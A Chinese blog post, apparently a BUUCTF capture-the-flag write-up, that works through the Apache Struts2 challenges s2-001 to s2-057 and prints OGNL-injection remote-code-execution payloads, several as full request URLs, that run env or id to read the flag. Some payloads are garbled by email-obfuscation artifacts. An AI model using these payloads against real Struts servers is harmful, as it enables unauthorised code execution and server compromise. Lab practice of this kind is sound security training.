struts2系列-Real-BUUCTF平臺

本篇內容
[struts2]s2-001、[struts2]s2-005、[struts2]s2-007、[struts2]s2-008、[struts2]s2-009
[struts2]s2-012、[struts2]s2-013、[struts2]s2-015、[struts2]s2-016、[struts2]s2-045
[struts2]s2-046、[struts2]s2-048、[struts2]s2-052、[struts2]s2-053、[struts2]s2-057

上一篇 | 目錄 | 下一篇


[struts2]s2-001
在這裏插入圖片描述
直接找該漏洞的示例exp:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

pwd改爲env獲取環境變量即可得到flag。
在這裏插入圖片描述




[struts2]s2-005
使用工具跑出payload:
在這裏插入圖片描述
工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-007
類似之前,在age處填入payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

在這裏插入圖片描述
然後點擊提交會在該框中顯示內容:
在這裏插入圖片描述
複製下來查看得到flag:
在這裏插入圖片描述




[struts2]s2-008

http://node3.buuoj.cn:27242/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

在這裏插入圖片描述




[struts2]s2-009
s2-009沒用,用s2-008的出來了,使用工具跑出payload:
在這裏插入圖片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-012
s2-012不知道咋搞,用s2-016的出來了,使用工具跑出payload:
在這裏插入圖片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-013
直接找該漏洞的示例exp:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

id改爲env獲取環境變量即可得到flag。

http://node3.buuoj.cn:27799/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D



[struts2]s2-015
使用工具跑出payload:
在這裏插入圖片描述
這裏藉助s2-016的,因爲s2-015的env獲取不到flag。
工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-016
使用工具跑出payload:
在這裏插入圖片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-045

類似之前,payload:

"%{(#a='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

在這裏插入圖片描述




[struts2]s2-046
使用工具跑出payload:
在這裏插入圖片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-048

首先在網址http://node3.buuoj.cn:28568/後面加/showcase,結果:
在這裏插入圖片描述
點擊紅框進入另一個頁面,輸入payload:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

在這裏插入圖片描述
在這裏插入圖片描述
然後將上面的示例payload中的id改爲env,結果如下:
在這裏插入圖片描述
雖然不知道爲啥報錯了(我試了ls啥的都不報錯),但是不影響結果,如上圖框中內容包上flag{}既是正確flag。




[struts2]s2-052

花了半天時間,耗死做不出來,好難受。太菜了,暫且擱置。




[struts2]s2-053
在這裏插入圖片描述
在網址後輸入一個/hello進入如下頁面:
在這裏插入圖片描述
輸入payload(注意結尾要有空格):

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

在這裏插入圖片描述




[struts2]s2-057

類似之前,payload:

http://node3.buuoj.cn:29922/struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

在這裏插入圖片描述




========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇

========================================================
轉載請註明出處
本文網址:https://blog.csdn.net/hiahiachang/article/details/105697178
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章